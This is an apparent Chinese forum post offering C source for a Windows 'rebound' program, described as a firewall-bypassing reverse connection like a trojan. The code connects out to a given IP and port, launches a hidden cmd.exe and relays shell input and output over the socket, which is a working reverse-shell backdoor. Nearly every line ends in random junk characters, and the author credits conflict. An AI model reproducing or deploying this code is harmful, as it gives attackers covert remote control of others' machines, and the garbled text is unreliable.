这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mK[Z#obc=
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/* ============================== ch8a
Rebound port in Windows NT n4/Wd?#`
By wind,2006/7 `8ac;b
===============================*/ f9W:-00QD
#include kFv*>>X`
#include Zd6ik&S
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#pragma comment(lib,"wsock32.lib") yQiY:SH
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void OutputShell(); c]PTU2BB8
SOCKET sClient; G}fBd
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @kWL "yy,
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void main(int argc,char **argv) }l|S]m!
{ 6OAs%QZ
WSADATA stWsaData; #$I@V4O;#
int nRet; WVdV:vJ-
SOCKADDR_IN stSaiClient,stSaiServer; Uj):}xgi'
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if(argc != 3) "`$,qvNN
{ >u?.gJm ~
printf("Useage:\n\rRebound DestIP DestPort\n"); OG/b5U
return; H#~gx_^U
} SM2Lbfp!u
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WSAStartup(MAKEWORD(2,2),&stWsaData); :V(LBH0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~5f&<,p!
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stSaiClient.sin_family = AF_INET; QB*,+u4
stSaiClient.sin_port = htons(0); i6WH^IQ M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nm-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wq$$.
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{ tk&AZb,sP
printf("Bind Socket Failed!\n"); ;xZ+1zmL0
return; _MBhwNBxZ
} hOY@vm&
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stSaiServer.sin_family = AF_INET; fg^AEn1i
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #ibwD:{
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UK
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2n:<F9^"
{ T/_u;My;
printf("Connect Error!"); =AIFu\9#a`
return; QK]P=pE'C
} i]v3CY|3AI
OutputShell(); ye^x>a['
} [';o -c"!
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void OutputShell() sbW+vc
{ oY)eN?c
char szBuff[1024]; o,*m,Qc
SECURITY_ATTRIBUTES stSecurityAttributes; ?zW'Hi
OSVERSIONINFO stOsversionInfo; A2|Bbqd
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; KD kGQh#9
STARTUPINFO stStartupInfo; V<QpC5
char *szShell; ~}.C*;J
PROCESS_INFORMATION stProcessInformation; )|~&(+Q?]
unsigned long lBytesRead; }r:"X<`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); sL$sj|" S
stSecurityAttributes.lpSecurityDescriptor = 0; p&(0e,`z/
stSecurityAttributes.bInheritHandle = TRUE; 74Jx \(d
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &}"kF\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $*C
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h4hAzFQ.s
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?"yjgt7+y
stStartupInfo.wShowWindow = SW_HIDE; !j6k]BgZ
stStartupInfo.hStdInput = hReadPipe; s41%A2Enh
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <Wn~s=
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GetVersionEx(&stOsversionInfo); 9xQ|Uad+%
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switch(stOsversionInfo.dwPlatformId) S7+>Mk
{ |]&3*%b@
case 1: LJeq{Z
szShell = "command.com"; q,P.)\0A
break; G_F_TNO
default: 7X$CJ%6b
szShell = "cmd.exe"; iC#a+G*N_M
break; '.v;/[0
} -wn-PB@r
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G4|C227EO
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send(sClient,szMsg,77,0); 0~nX7
while(1) S Qmn*CW
{ {!I`EN]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mI&3y9; (
if(lBytesRead) r Ea(1(I
{ QbJ7$, 4
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1uo-?k
send(sClient,szBuff,lBytesRead,0); VzT*^PFBg
} (Y~/9a4X
else < se ~wR
{ mS%4
lBytesRead=recv(sClient,szBuff,1024,0); qz`-?,pF
if(lBytesRead<=0) break; &* VhtT?=5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v[$e{ Dz(
} B&MDn']fV/
} W? G4>zA
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return; Te+#
}